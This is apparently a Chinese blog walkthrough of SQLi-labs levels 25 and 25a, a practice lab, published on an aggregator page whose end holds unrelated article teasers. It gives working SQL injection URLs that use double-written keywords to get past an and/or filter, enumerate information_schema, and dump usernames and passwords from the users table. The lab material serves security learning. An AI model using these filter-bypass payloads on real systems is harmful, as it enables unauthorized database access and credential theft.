SQLI-labs-第二十五关和第二十五a关

目录

第二十五关

1、判断注入点

2、判断数据库

3、判断表名

4、判断字段名

5、获取数据库的数据

第二十五a关

1、判断注入点

2、判断数据库


第二十五关

知识点:绕过and、or过滤

思路:

通过分析源码和页面,我们可以知道对and和or 进行了过滤,我们需要绕过这些过滤,常见的绕过方式有大小写,双写,编码等

1、判断注入点

首先,我们输入正常的数据,看看回显

接着加入单引号

http://127.0.0.1:3306/Less-25/?id=1'

数据库语句报错,说明存在闭合问题,我们加入注释符 

http://127.0.0.1:3306/Less-25/?id=1' --+

数据正常回显,说明这里的闭合方向正确,存在单引号的闭合问题

这里可以看到输入and、or被过滤掉了

尝试一下大小写混合,发现也是不行

这里因为源码对大小写进行忽略

/i的作用就是忽略大小写

我们尝试使用双写绕过

http://127.0.0.1:3306/Less-25/?id=1' anandd 1=1 --+

http://127.0.0.1:3306/Less-25/?id=1' oorr 1=1 --+

说明双写可以绕过

判断字段数

http://127.0.0.1:3306/Less-25/?id=1' oorrder by 3--+

http://127.0.0.1:3306/Less-25/?id=1' oorrder by 4 --+

说明当前的表的字段数有三个

判断数据回显位置

2、判断数据库

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,database() --+

3、判断表名

使用group_concat()函数

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

4、判断字段名

以users表为例

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security'  anandd table_name='users'--+

5、获取数据库的数据

使用concat_ws()函数

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 0,1 --+

通过修改limit的值可以获取全部数据


第二十五a关

知识点:绕过and、or过滤

思路:

通过分析源码,可以知道跟25关一样,过滤了and、or ,且不区分大小写,所以用双写绕过,而且没有显示报错信息

1、判断注入点

首先,我们输入正常的数据,看看回显

http://127.0.0.1:3306/Less-25a/?id=1

加入单引号’

http://127.0.0.1:3306/Less-25a/?id=1'

报错了,但没有显示具体的报错原因,加上注入符 --+

http://127.0.0.1:3306/Less-25a/?id=1' --+

这里还是报错,以为是闭合方式不对,把 "  ') ") 都试了一遍,还是不对,结果看源码,才发现是数值型注入,忽略还有这个类型,把自己给蠢笑了,哈哈哈

http://127.0.0.1:3306/Less-25a/?id=1 and 1=1 --+

这里发现and、or都被过滤,跟上面的思路一样,尝试大小写,双写,结果发现双写可以绕过

http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=1 --+

将1=1,改成1=2

http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 --+

数据没有回显,但没有报错,这也说明当前是数值型的注入

判断字段数

http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 3 --+

http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 4 --+

说明当前表的字段有3个

判断回显位置

http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 union select 1,2,3--+

或者 http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,3--+

2、判断数据库

http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,database()--+

接下来的步骤就跟上面的差不多了,可以才参考上面的


这篇文章就先写到这里了,哪里不懂的或者不好的,欢迎指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/16748.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Kubeeasy安装Kubernetes-v1.22.1版本(安装报错已解决)

基础环境准备 将提供的安装包 chinaskills_cloud_paas_v2.0.2.iso 上传至 master 节点 /root 目录,并解压 到 /opt 目录: [rootlocalhost ~]# ll total 7446736 -rw-------. 1 root root 1579 Mar 7 22:46 anaconda-ks.cfg -rw-r--r--. 1 root …

链表经典题目—相交链表和链表倒数第k个节点

🎉🎉🎉欢迎莅临我的博客空间,我是池央,一个对C和数据结构怀有无限热忱的探索者。🙌 🌸🌸🌸这里是我分享C/C编程、数据结构应用的乐园✨ 🎈🎈&…

艾体宝干货 | 教程:使用ntopng和nProbe监控网络流量

本教程旨在分享如何通过 ntopng 和 nProbe 这两款工具,深入了解和掌握网络流量监控的艺术。我们将提供从基本概念到高级应用的全面指导,涵盖了在多种平台和设备上的部署和配置步骤。不论您是专业人员还是技术爱好者,跟随本教程,都…

11thingsboard物联网网关接入ThingsBoard物联网平台的操作说明

本文包含关于如何配置ThingsBoard 平台和连接钡铼技术R40设备的说明。ThingsBoard平台是一个用于数据收集、处理、可视化和设备管理的开源物联网平台。它通过行业标准MQTT协议实现设备连接。ThingsBoard结合了可扩展性、容错性和性能,因此您永远不会丢失数据。 4G L…

【考研数学】线代除了「李永乐」,还能跟谁?

考研线代,除了利用了老师,我觉得还有一个宝藏老师的课程值得听! 那就是喻老,这个是我在b站上面新发现的老师,听完他的课程发现真的喜欢 他不仅在B站上开设了课程,还编写了配套的线性代数辅导讲义&#xff…

Python图形界面(GUI)Tkinter笔记(十一):用【Entry()】实现单行文本输入(2)

Tkinter库中的单行文本输入框(Entry)与Pyhton中最常的get()方法有机结合在一起能实现各种各样的功能。get()不只是与Entry()方法配合使用,还可以与其它方法配合使用,例如还可以与前面的Button()方法使用等等。总之,不同的工具不同的组合产生的反应是充满各种梦幻与想象,妙趣…

NIO的ByteBuffer和Netty的ByteBuf的性能

在讨论Java NIO的ByteBuffer与Netty的ByteBuf的性能时,需要考虑几个主要的因素,因为性能表现并不是绝对的,而是依赖于具体的使用场景。Netty的ByteBuf设计更加现代,针对网络编程的需求进行了优化,包含了许多ByteBuffer…

网络安全面临的最大的威胁是什么

网络安全面临的威胁概述 网络安全威胁是指可能对网络系统造成损害、干扰或未经授权访问的各种风险和威胁。随着数字化进程的加快,网络安全问题愈发凸显,企业和个人都面临着来自多方面的威胁。这些威胁包括但不限于恶意软件、网络钓鱼、零日漏洞、拒绝服务…

Python中的SSH、SFTP和FTP操作详解

大家好,在网络编程中,安全地连接到远程服务器并执行操作是一项常见任务。Python 提供了多种库来实现这一目标,其中 Paramiko 是一个功能强大的工具,可以轻松地在 Python 中执行 SSH、SFTP 和 FTP 操作。本文将介绍如何使用 Parami…

企业选择定制化MES管理系统时需要考虑的核心功能

在当今制造业的数字化转型浪潮中,企业对于实现生产现场透明管理的需求愈发迫切。为了满足这一需求,MES管理系统成为了众多企业的首选解决方案。MES管理系统以其高度的灵活性和可定制性,能够根据不同行业的特性,为企业提供量身定制…

php质量工具系列之paslm

Psalm是一个静态分析工具,深入程序,尽可能多地找到与类型相关的bug 混合类型警告 Intelligent logic checks 属性初始化检查 Taint analysis Language Server Automatic fixes Automatic refactoring 安装 composer global require --dev vimeo/psalm …

看潮成长日程表用户手册(上)

看潮成长日程表用户手册(上) 一、特色功能1、以每周日程表为主要形式2、全时管控的时间管理3、持续的日程管理4、分期间时间表5、按日排程,按周输出6、夏季作息时间处理7、年度假日处理8、休息日处理9、弹性日程10、完成记录11、多种输出形式…

重构与优化-前言

关注公众号畅读:IT技术馆 Java代码重构是优化现有代码结构、提升代码可读性、可维护性和性能的过程,而不会改变其外在行为。这包括命名规范、消除重复代码、改进设计模式的使用、优化数据结构和算法等。下面是一些常见的Java代码重构技巧及示例: 1. 重命名(Rename) 目的…

光纤跳线组成结构划分你知道吗

按照组成结构划分 光纤跳线根据组成结构的不同可分为带状光纤跳线和束状光纤跳线。带状光纤跳线使用的是由光纤带组成的带状光缆,大多呈扁平形状,因具有较高的光纤密度,它可以容纳更多的纤芯,因此大大节省布线成本和空间&#xf…

猫咪掉毛严重怎么办?小米、希喂、霍尼韦尔宠物空气净化器测评

吸猫成瘾,养猫“致贫”?在当今社会,养猫已成为众多年轻人的一个追捧的事情。乖巧又可爱,下班回到家撸一把猫已经成为年轻人的日常。但是猫咪可爱也不影响它的各种养猫伴生的问题!无论是漂浮的浮毛、飘散的皮屑还是偶发…

C++11 新特性

原文 https://www.cnblogs.com/linuxAndMcu/p/11600553.html 1. nullptr (1) 作用:nullptr 的类型为 nullptr_t,能够隐式地转换为任何指针的类型,能和他们进行相等或者不等的比较。 简单说,nullptr目的是为了区分 空指针NULL …

2024年上半年系统架构设计师真题-复原程度90%

前言 此次考试监考特别严格,草稿纸不允许带出考场,并且准考证上不允许任何写画,甚至连笔都允许带一支,所以下面的相关题目都是参考一些群友的提供,加上自己的记忆回顾,得到的结果。 其中综合知识部分的题…

1.int 与 Integer 的简单区别

蓝桥杯刷题从此开始: 第一题就是两个数的和,个人看来主要考察 int与integer 的区别; 这是我提交的答案,竟然会报错: import java.util.*; //输入A、B,输出AB。 class add {public static void main(String …

yolov10 瑞芯微RKNN、地平线Horizon芯片部署、TensorRT部署,部署工程难度小、模型推理速度快

特别说明:参考官方开源的yolov10代码、瑞芯微官方文档、地平线的官方文档,如有侵权告知删,谢谢。 模型和完整仿真测试代码,放在github上参考链接 模型和代码。 yolov8、v9还没玩热乎,这不yolov10又来了,那么…

tomcat--安全配置多虚拟机

端口8005/tcp 安全配置管理 8005是Tomcat的管理端口,默认监听在127.0.0.1上。无需验证就可发送SHUTDOWN (大小写敏感)这个字符串,tomcat接收到后就会关闭此Server。此管理功能建议禁用,可将SHUTDOWN改为一串猜不出的字符串实现或者port修改成…